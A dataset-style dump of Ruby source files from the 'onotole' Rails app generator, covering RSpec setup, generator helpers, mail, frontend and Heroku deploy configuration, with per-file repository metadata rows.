DatabaseCleaner.clean_with(:deletion)
end
config.before(:each) do
DatabaseCleaner.strategy = :transaction
end
config.before(:each, js: true) do
DatabaseCleaner.strategy = :deletion
end
config.before(:each) do
DatabaseCleaner.start
end
config.after(:each) do
DatabaseCleaner.clean
Timecop.return
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/rack_mini_profiler.rb | templates/rack_mini_profiler.rb | # frozen_string_literal: true
if Rails.env == 'development'
require 'rack-mini-profiler'
# initialization is skipped so trigger it
Rack::MiniProfilerRails.initialize!(Rails.application)
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/flashes_helper.rb | templates/flashes_helper.rb | # frozen_string_literal: true
module FlashesHelper
def user_facing_flashes
flash.to_hash.slice('alert', 'error', 'notice', 'success')
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/carrierwave.rb | templates/carrierwave.rb | # frozen_string_literal: true
require 'carrierwave'
require 'carrierwave/orm/activerecord'
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/deferred_garbage_collection.rb | templates/deferred_garbage_collection.rb | # frozen_string_literal: true
class DeferredGarbageCollection
DEFERRED_GC_THRESHOLD = (ENV['DEFER_GC'] || 15.0).to_f
@last_gc_run = Time.zone.now
def self.start
GC.disable
end
def self.reconsider
if Time.zone.now - @last_gc_run >= DEFERRED_GC_THRESHOLD
GC.enable
GC.start
GC.disable
@last_gc_run = Time.zone.now
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/inet_input.rb | templates/inet_input.rb | # frozen_string_literal: true
class InetInput < Formtastic::Inputs::StringInput
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/action_mailer.rb | templates/action_mailer.rb | # frozen_string_literal: true
RSpec.configure do |config|
config.before(:each) do
ActionMailer::Base.deliveries.clear
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/shoulda_matchers_config_rspec.rb | templates/shoulda_matchers_config_rspec.rb | # frozen_string_literal: true
Shoulda::Matchers.configure do |config|
config.integrate do |with|
with.test_framework :rspec
with.library :rails
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/support.rb | templates/support.rb | # frozen_string_literal: true
Dir[Rails.root.join('app/support/**/*.rb'),
Rails.root.join('lib/*.rb')].each { |file| require_dependency file }
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/pundit/active_admin/page_policy.rb | templates/pundit/active_admin/page_policy.rb | # frozen_string_literal: true
module ActiveAdmin
class PagePolicy < ApplicationPolicy
class Scope < ApplicationPolicy::Scope
end
def show?
case record.name
when 'Dashboard'
true
else
false
end
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/pundit/active_admin/comment_policy.rb | templates/pundit/active_admin/comment_policy.rb | # frozen_string_literal: true
module ActiveAdmin
class CommentPolicy < ApplicationPolicy
class Scope < ApplicationPolicy::Scope
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole.rb | lib/onotole.rb | # frozen_string_literal: true
require 'onotole/version'
require 'onotole/colors'
require 'onotole/generators/app_generator'
require 'onotole/actions'
require 'onotole/adapters/heroku'
require 'onotole/app_builder'
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/actions.rb | lib/onotole/actions.rb | # frozen_string_literal: true
module Onotole
module Actions
def replace_in_file(relative_path, find, replace, quiet_err = false)
path = File.join(destination_root, relative_path)
contents = IO.read(path)
unless contents.gsub!(find, replace)
raise "#{find.inspect} not found in #{relative_path}" if quiet_err == false
end
File.open(path, 'w') { |file| file.write(contents) }
end
def action_mailer_host(rails_env, host)
config = "config.action_mailer.default_url_options = { host: #{host} }"
configure_environment(rails_env, config)
end
def configure_application_file(config)
inject_into_file(
'config/application.rb',
"\n\n #{config}",
before: "\n end"
)
end
def configure_environment(rails_env, config)
inject_into_file(
"config/environments/#{rails_env}.rb",
"\n\n #{config}",
before: "\nend"
)
end
def ask_stylish(str)
ask "#{BOLDGREEN} #{str} #{COLOR_OFF}".rjust(10)
end
def say_color(color, str)
say "#{color}#{str}#{COLOR_OFF}".rjust(4)
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/version.rb | lib/onotole/version.rb | # frozen_string_literal: true
module Onotole
RAILS_VERSION = '~> 5.0.0'
RUBY_VERSION = IO.read("#{File.dirname(__FILE__)}/../../.ruby-version").strip
VERSION = '2.0.2'
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/default_scripts.rb | lib/onotole/default_scripts.rb | # frozen_string_literal: true
module Onotole
module DefalutScripts
def raise_on_unpermitted_parameters
config = "\n config.action_controller.action_on_unpermitted_parameters = :raise\n"
inject_into_class 'config/application.rb', 'Application', config
end
def provide_setup_script
template 'bin_setup', 'bin/setup', force: true
run 'chmod a+x bin/setup'
end
def provide_dev_prime_task
copy_file 'dev.rake', 'lib/tasks/dev.rake'
end
def enable_rack_deflater
config = <<-RUBY
# Enable deflate / gzip compression of controller-generated responses
# more info https://robots.thoughtbot.com/content-compression-with-rack-deflater
# rack-mini-profiler does not work with this option
config.middleware.use Rack::Deflater
RUBY
inject_into_file(
'config/environments/production.rb',
config,
after: serve_static_files_line
)
end
def set_up_forego
template 'Procfile.erb', 'Procfile', force: true
end
def setup_staging_environment
staging_file = 'config/environments/staging.rb'
copy_file 'staging.rb', staging_file
config = <<-RUBY
Rails.application.configure do
# ...
end
RUBY
append_file staging_file, config
end
def setup_secret_token
copy_file 'secrets.yml', 'config/secrets.yml', force: true
# strange bug with ERB in ERB. solved this way
replace_in_file 'config/secrets.yml',
"<%= ENV['SECRET_KEY_BASE'] %>",
"<%= ENV['#{app_name.upcase}_SECRET_KEY_BASE'] %>"
end
def disallow_wrapping_parameters
remove_file 'config/initializers/wrap_parameters.rb'
end
def use_postgres_config_template
template 'postgresql_database.yml.erb', 'config/database.yml',
force: true
template 'postgresql_database.yml.erb', 'config/database.yml.sample',
force: true
end
def create_database
bundle_command 'exec rake db:drop db:create db:migrate db:seed'
end
def replace_gemfile
remove_file 'Gemfile'
template 'Gemfile.erb', 'Gemfile'
end
def set_ruby_to_version_being_used
create_file '.ruby-version', "#{Onotole::RUBY_VERSION}\n"
end
def configure_background_jobs_for_rspec
rails_generator 'delayed_job:active_record'
end
# copy ru_locale here also. Update in future
def configure_time_formats
remove_file 'config/locales/en.yml'
template 'config_locales_en.yml.erb', 'config/locales/en.yml'
template 'config_locales_ru.yml.erb', 'config/locales/ru.yml'
end
def configure_i18n_for_missing_translations
raise_on_missing_translations_in('development')
raise_on_missing_translations_in('test')
end
def configure_rack_timeout
rack_timeout_config = 'Rack::Timeout.timeout = (ENV["RACK_TIMEOUT"] || 10).to_i'
append_file 'config/environments/production.rb', rack_timeout_config
end
def fix_i18n_deprecation_warning
config = ' config.i18n.enforce_available_locales = true'
inject_into_class 'config/application.rb', 'Application', config
end
def copy_dotfiles
directory 'dotfiles', '.', force: true
template 'dotenv.erb', '.env'
template 'dotenv_production.erb', '.env.production'
end
def setup_spring
bundle_command 'exec spring binstub --all'
bundle_command 'exec spring stop'
end
def remove_config_comment_lines
config_files = [
'application.rb',
'environment.rb',
'environments/development.rb',
'environments/production.rb',
'environments/test.rb'
]
config_files.each do |config_file|
cleanup_comments File.join(destination_root, "config/#{config_file}")
end
end
def remove_routes_comment_lines
replace_in_file 'config/routes.rb',
/Rails\.application\.routes\.draw do.*end/m,
"Rails.application.routes.draw do\nend"
end
def setup_default_rake_task
append_file 'Rakefile' do
<<-EOS
task(:default).clear
task default: [:spec]
if defined? RSpec
task(:spec).clear
RSpec::Core::RakeTask.new(:spec) do |t|
t.verbose = false
end
end
EOS
end
end
def copy_miscellaneous_files
copy_file 'browserslist', 'browserslist'
copy_file 'errors.rb', 'config/initializers/errors.rb'
copy_file 'json_encoding.rb', 'config/initializers/json_encoding.rb'
end
def enable_rack_canonical_host
config = <<-RUBY
if ENV.fetch("HEROKU_APP_NAME", "").include?("staging-pr-")
ENV["#{app_name.upcase}_APPLICATION_HOST"] = ENV["HEROKU_APP_NAME"] + ".herokuapp.com"
end
# Ensure requests are only served from one, canonical host name
config.middleware.use Rack::CanonicalHost, ENV.fetch("#{app_name.upcase}_APPLICATION_HOST")
RUBY
inject_into_file(
'config/environments/production.rb',
config,
after: 'Rails.application.configure do'
)
end
def readme
template 'README.md.erb', 'README.md'
end
def configure_support_path
mkdir_and_touch 'app/support'
copy_file 'support.rb', 'config/initializers/support.rb'
config = "\n config.autoload_paths << Rails.root.join('app/support')\n"
inject_into_class 'config/application.rb', 'Application', config
end
def apply_vendorjs_folder
inject_into_file(AppBuilder.js_file, "//= require_tree ../../../vendor/assets/javascripts/.\n", before: '//= require_tree .')
end
def add_dotenv_to_startup
inject_into_file('config/application.rb', "\nDotenv::Railtie.load\n", after: 'Bundler.require(*Rails.groups)')
end
def provide_kill_postgres_connections_task
copy_file 'kill_postgress_conections.rake', 'lib/tasks/kill_postgress_conections.rake'
end
def seeds_organisation
remove_file 'db/seeds.rb'
copy_file 'seeds.rb', 'db/seeds.rb'
mkdir_and_touch 'db/seeds'
end
def add_custom_formbuilder
config = <<-DATA
config.after_initialize do
ActionView::Base.default_form_builder = FormBuilderExtension
end
DATA
inject_into_class 'config/application.rb', 'Application', config
File.open('app/helpers/form_builder_extension.rb', 'w') do |f|
f.write 'class FormBuilderExtension < ActionView::Helpers::FormBuilder'
f.write "\nend"
end
end
def copy_application_record
copy_file 'application_record.rb', 'app/models/application_record.rb', force: true
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/app_builder.rb | lib/onotole/app_builder.rb | # frozen_string_literal: true
require 'forwardable'
# require 'pry'
Dir[File.expand_path(File.join(File.dirname(File.absolute_path(__FILE__)), '../')) + '/**/*.rb'].each do |file|
require file
end
module Onotole
class AppBuilder < Rails::AppBuilder
include Onotole::Actions
include Onotole::UserGemsMenu
include Onotole::EditMenuQuestions
include Onotole::BeforeBundlePatch
include Onotole::AfterInstallPatch
include Onotole::Helpers
include Onotole::Git
include Onotole::Tests
include Onotole::Mail
include Onotole::Goodbye
include Onotole::DefaultFrontend
include Onotole::DefalutScripts
include Onotole::Deploy
extend Forwardable
@use_asset_pipelline = true
@user_choice = []
@app_file_scss = 'app/assets/stylesheets/application.scss'
@app_file_css = 'app/assets/stylesheets/application.css'
@js_file = 'app/assets/javascripts/application.js'
@active_admin_theme_selected = false
@quiet = true
@file_storage_name = nil
class << self
attr_accessor :use_asset_pipelline,
:devise_model,
:user_choice, :app_file_scss,
:app_file_css, :js_file, :quiet,
:active_admin_theme_selected, :file_storage_name
end
def_delegators :heroku_adapter,
:create_heroku_pipelines_config_file,
:create_heroku_pipeline,
:create_production_heroku_app,
:create_staging_heroku_app,
:provide_review_apps_setup_script,
:set_heroku_rails_secrets,
:set_heroku_remotes,
:set_heroku_serve_static_files,
:set_up_heroku_specific_gems
def add_bullet_gem_configuration
config = <<-RUBY
config.after_initialize do
Bullet.enable = true
Bullet.bullet_logger = true
Bullet.rails_logger = true
end
RUBY
inject_into_file(
'config/environments/development.rb',
config,
after: "config.action_mailer.raise_delivery_errors = true\n"
)
end
def set_up_hound
copy_file 'hound.yml', '.hound.yml'
end
def configure_newrelic
template 'newrelic.yml.erb', 'config/newrelic.yml'
end
def configure_ci
template 'circle.yml.erb', 'circle.yml'
end
def configure_simple_form
if user_choose?(:bootstrap3_sass) || user_choose?(:bootstrap3)
rails_generator 'simple_form:install --bootstrap'
else
rails_generator 'simple_form:install'
end
end
def configure_active_job
configure_application_file(
'config.active_job.queue_adapter = :delayed_job'
)
configure_environment 'test', 'config.active_job.queue_adapter = :inline'
end
def configure_puma
remove_file 'config/puma.rb'
template 'puma.rb.erb', 'config/puma.rb'
end
# def rvm_bundler_stubs_install
# if system "rvm -v | grep 'rvm.io'"
# run 'chmod +x $rvm_path/hooks/after_cd_bundler'
# run 'bundle install --binstubs=./bundler_stubs'
# end
# end
def delete_comments
return unless options[:clean_comments] || user_choose?(:clean_comments)
cleanup_comments 'Gemfile'
remove_config_comment_lines
remove_routes_comment_lines
end
def prevent_double_usage
unless !pgsql_db_exist?("#{app_name}_development") || !pgsql_db_exist?("#{app_name}_test")
say_color RED, " YOU HAVE EXISTING DB WITH #{app_name.upcase}!!!"
say_color RED, " WRITE 'Y' TO CONTINUE WITH DELETION OF ALL DATA"
say_color RED, ' ANY OTHER INPUT FOR EXIT'
exit 0 unless STDIN.gets.chomp == 'Y'
end
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/helpers.rb | lib/onotole/helpers.rb | # frozen_string_literal: true
module Onotole
module Helpers
def yes_no_question(gem_name, gem_description)
gem_name_color = "#{gem_name.capitalize}.\n"
variants = { none: 'No', gem_name.to_sym => gem_name_color }
choice "Use #{gem_name}? #{gem_description}", variants
end
def choice(selector, variants)
return if variant_in_options? variants
values = variants.keys
say "\n #{BOLDGREEN}#{selector}#{COLOR_OFF}"
variants.each_with_index do |variant, i|
say "#{i.to_s.rjust(5)}. #{BOLDBLUE}#{variant[1]}#{COLOR_OFF}"
end
numeric_answers = (0...variants.length).map(&:to_s)
answer = ask_stylish('Enter choice:') until numeric_answers.include? answer
symbol_answer = values[answer.to_i]
symbol_answer == :none ? nil : symbol_answer
end
def variant_in_options?(variants)
variants.keys[1..-1].map { |a| options[a] }.include? true
end
def multiple_choice(selector, variants)
values = []
result = []
answers = ''
say "\n #{BOLDGREEN}#{selector} Use space as separator#{COLOR_OFF}"
variants.each_with_index do |variant, i|
values.push variant[0]
say "#{i.to_s.rjust(5)}. #{BOLDBLUE}#{variant[0]
.to_s.ljust(20)}-#{COLOR_OFF} #{variant[1]}"
end
loop do
answers = ask_stylish('Enter choices:').split ' '
break if answers.any? && (answers - (0...variants.length)
.to_a.map(&:to_s)).empty?
end
answers.delete '0'
answers.uniq.each { |answer| result.push values[answer.to_i] }
result
end
def raise_on_missing_translations_in(environment)
config = 'config.action_view.raise_on_missing_translations = true'
uncomment_lines("config/environments/#{environment}.rb", config)
end
def heroku_adapter
@heroku_adapter ||= Adapters::Heroku.new(self)
end
def serve_static_files_line
"config.serve_static_files = ENV['RAILS_SERVE_STATIC_FILES'].present?\n"
end
def add_gems_from_args
ARGV.each do |gem_name|
next unless gem_name.slice(0, 2) == '--'
add_to_user_choise gem_name[2..-1].to_sym
end
end
def cleanup_comments(file_name)
accepted_content = File.readlines(file_name).reject do |line|
line =~ /^\s*#.*$/ || line =~ /^$\n/
end
File.open(file_name, 'w') do |file|
accepted_content.each { |line| file.puts line }
end
end
# does not recognize variable nesting, but now it does not matter
def cover_def_by(file_name, lookup_str, external_def)
expect_end = 0
found = false
accepted_content = ''
File.readlines(file_name).each do |line|
expect_end += 1 if found && line =~ /\sdo\s/
expect_end -= 1 if found && line =~ /(\s+end|^end)/
if line =~ Regexp.new(lookup_str)
accepted_content += "#{external_def}\n#{line}"
expect_end += 1
found = true
else
accepted_content += line
end
if found && expect_end == 0
accepted_content += "\nend"
found = false
end
end
File.open(file_name, 'w') { |file| file.puts accepted_content }
end
def install_from_github(_gem_name)
# TODO: in case of bundler update `bundle show` do now work any more
true
# return nil unless gem_name
# path = `cd #{Dir.pwd} && bundle show #{gem_name}`.chomp
# run "cd #{path} && bundle exec gem build #{gem_name}.gemspec && bundle exec gem install *.gem"
end
def user_choose?(gem)
AppBuilder.user_choice.include? gem
end
def add_to_user_choise(gem)
AppBuilder.user_choice.push gem
end
def rails_generator(command)
bundle_command "exec rails generate #{command} -f #{quiet_suffix}"
end
def pgsql_db_exist?(db_name)
system "psql -l | grep #{db_name}"
end
def clean_by_rubocop
return unless user_choose?(:rubocop)
bundle_command "exec rubocop --auto-correct #{quiet_suffix}"
end
def quiet_suffix
AppBuilder.quiet ? ' > /dev/null' : ''
end
def user_gems_from_args_or_default_set
gems_flags = []
options.each { |gem, usage| gems_flags.push(gem.to_sym) if usage }
gems = GEMPROCLIST & gems_flags
if gems.empty?
AppBuilder.user_choice = DEFAULT_GEMSET
else
gems.each { |gem| AppBuilder.user_choice << gem }
end
add_user_gems
end
def touch(file_name)
`touch #{file_name}`
end
def br(str = nil)
str ? "\n" + str : "\n"
end
def mkdir_and_touch(dir)
run "mkdir #{dir}"
touch "#{dir}/.keep"
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/default_frontend.rb | lib/onotole/default_frontend.rb | # frozen_string_literal: true
module Onotole
module DefaultFrontend
def configure_quiet_assets
config = "\n config.quiet_assets = true\n"
inject_into_class 'config/application.rb', 'Application', config
end
def setup_asset_host
replace_in_file 'config/environments/production.rb',
"# config.action_controller.asset_host = 'http://assets.example.com'",
"config.action_controller.asset_host = ENV.fetch('#{app_name.upcase}_ASSET_HOST',"\
" ENV.fetch('#{app_name.upcase}_APPLICATION_HOST'))"
replace_in_file 'config/initializers/assets.rb',
"config.assets.version = '1.0'",
"config.assets.version = (ENV['#{app_name.upcase}_ASSETS_VERSION'] || '1.0')"
inject_into_file(
'config/environments/production.rb',
' config.static_cache_control = "public, max-age=#{1.year.to_i}"',
after: serve_static_files_line
)
end
def create_shared_flashes
copy_file '_flashes.html.erb', 'app/views/application/_flashes.html.erb'
copy_file 'flashes_helper.rb', 'app/helpers/flashes_helper.rb'
end
def create_application_layout
template 'onotole_layout.html.erb.erb',
'app/views/layouts/application.html.erb',
force: true
end
def setup_stylesheets
remove_file 'app/assets/stylesheets/application.css'
copy_file 'application.scss',
'app/assets/stylesheets/application.scss'
end
def install_bitters
bundle_command 'exec bitters install --path app/assets/stylesheets'
end
def customize_error_pages
meta_tags = <<-EOS
<meta charset="utf-8" />
<meta name="ROBOTS" content="NOODP" />
<meta name="viewport" content="initial-scale=1" />
EOS
%w(500 404 422).each do |page|
inject_into_file "public/#{page}.html", meta_tags, after: "<head>\n"
replace_in_file "public/#{page}.html", /<!--.+-->\n/, ''
end
end
def setup_segment
copy_file '_analytics.html.erb',
'app/views/application/_analytics.html.erb'
end
def create_partials_directory
empty_directory 'app/views/application'
end
def install_refills
rails_generator 'refills:import flashes'
run 'rm app/views/refills/_flashes.html.erb'
run 'rmdir app/views/refills'
end
def create_shared_javascripts
copy_file '_javascript.html.erb', 'app/views/application/_javascript.html.erb'
end
def add_vendor_css_path
vendor_css_path = "\nRails.application.config.assets.paths += Dir"\
"[(Rails.root.join('vendor/assets/stylesheets'))]\n"\
"Rails.application.config.assets.paths += Dir[(Rails.root.join('vendor/assets/images'))]"
append_file 'config/initializers/assets.rb', vendor_css_path
end
def add_fonts_autoload
fonts = "\nRails.application.config.assets.precompile << /\.(?:svg|eot|woff|ttf|otf)\z/"
append_file 'config/initializers/assets.rb', fonts
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/deploy.rb | lib/onotole/deploy.rb | # frozen_string_literal: true
module Onotole
module Deploy
def provide_deploy_script
copy_file 'bin_deploy', 'bin/deploy'
instructions = <<-MARKDOWN
## Deploying
If you have previously run the `./bin/setup` script,
you can deploy to staging and production with:
$ ./bin/deploy staging
$ ./bin/deploy production
MARKDOWN
append_file 'README.md', instructions
run 'chmod a+x bin/deploy'
end
def configure_automatic_deployment
deploy_command = <<-YML.strip_heredoc
deployment:
staging:
branch: master
commands:
- bin/deploy staging
YML
append_file 'circle.yml', deploy_command
end
def create_heroku_apps(flags)
create_staging_heroku_app(flags)
create_production_heroku_app(flags)
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/colors.rb | lib/onotole/colors.rb | # frozen_string_literal: true
module Onotole
COLOR_OFF = "\033[0m"
BLACK = "\033[30m"
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
BLUE = "\033[34m"
MAGENTA = "\033[35m"
CYAN = "\033[36m"
WHITE = "\033[37m"
BOLDBLACK = "\033[1m\033[30m"
BOLDRED = "\033[1m\033[31m"
BOLDGREEN = "\033[1m\033[32m"
BOLDYELLOW = "\033[1m\033[33m"
BOLDBLUE = "\033[1m\033[34m"
BOLDMAGENTA = "\033[1m\033[35m"
BOLDCYAN = "\033[1m\033[36m"
BOLDWHITE = "\033[1m\033[37m"
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/mail.rb | lib/onotole/mail.rb | # frozen_string_literal: true
module Onotole
module Mail
def configure_action_mailer
action_mailer_host 'development', %("localhost:3000")
action_mailer_host 'test', %("www.example.com")
action_mailer_host 'production', %{ENV.fetch("#{app_name.upcase}_APPLICATION_HOST")}
end
def configure_action_mailer_in_specs
copy_file 'action_mailer.rb', 'spec/support/action_mailer.rb'
end
def configure_smtp
template 'smtp.rb.erb', 'config/smtp.rb', force: true
prepend_file 'config/environments/production.rb',
%{require Rails.root.join("config/smtp")\n}
config = <<-RUBY
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = SMTP_SETTINGS
RUBY
inject_into_file 'config/environments/production.rb', config,
after: 'config.action_mailer.raise_delivery_errors = false'
end
def set_test_delivery_method
inject_into_file(
'config/environments/development.rb',
"\n config.action_mailer.delivery_method = :file",
after: 'config.action_mailer.raise_delivery_errors = true'
)
end
def raise_on_delivery_errors
replace_in_file 'config/environments/development.rb',
'raise_delivery_errors = false', 'raise_delivery_errors = true'
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/lib/onotole/tests.rb | lib/onotole/tests.rb | # frozen_string_literal: true
module Onotole
module Tests
def generate_rspec
['app/views/pages',
'spec/lib',
'spec/controllers',
'spec/helpers',
'spec/support/matchers',
'spec/support/mixins',
'spec/support/shared_examples'].each do |dir|
run "mkdir #{dir}"
run "touch #{dir}/.keep"
end
rails_generator 'rspec:install'
end
def configure_capybara_webkit
copy_file 'capybara_webkit.rb', 'spec/support/capybara_webkit.rb'
end
def configure_i18n_for_test_environment
copy_file 'i18n.rb', 'spec/support/i18n.rb'
end
def configure_rspec
remove_file 'spec/rails_helper.rb'
remove_file 'spec/spec_helper.rb'
copy_file 'rails_helper.rb', 'spec/rails_helper.rb'
copy_file 'deferred_garbage_collection.rb', 'spec/support/deferred_garbage_collection.rb'
template 'spec_helper.rb.erb', 'spec/spec_helper.rb'
end
def configure_generators
config = <<-RUBY
config.generators do |generate|
generate.helper false
generate.javascript_engine false
generate.request_specs false
generate.routing_specs false
generate.stylesheets false
generate.test_framework :rspec
generate.view_specs false
generate.fixture_replacement :factory_girl
end
RUBY
inject_into_class 'config/application.rb', 'Application', config
end
def enable_database_cleaner
copy_file 'database_cleaner_rspec.rb', 'spec/support/database_cleaner.rb'
end
def provide_shoulda_matchers_config
copy_file(
'shoulda_matchers_config_rspec.rb',
'spec/support/shoulda_matchers.rb'
)
end
def configure_spec_support_features
empty_directory_with_keep_file 'spec/features'
empty_directory_with_keep_file 'spec/support/features'
end
def set_up_factory_girl_for_rspec
copy_file 'factory_girl_rspec.rb', 'spec/support/factory_girl.rb'
end
def generate_factories_file
copy_file 'factories.rb', 'spec/factories.rb'
end
def raise_on_missing_assets_in_test
inject_into_file(
'config/environments/test.rb',
"\n config.assets.raise_runtime_errors = true",
after: 'Rails.application.configure do'
)
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.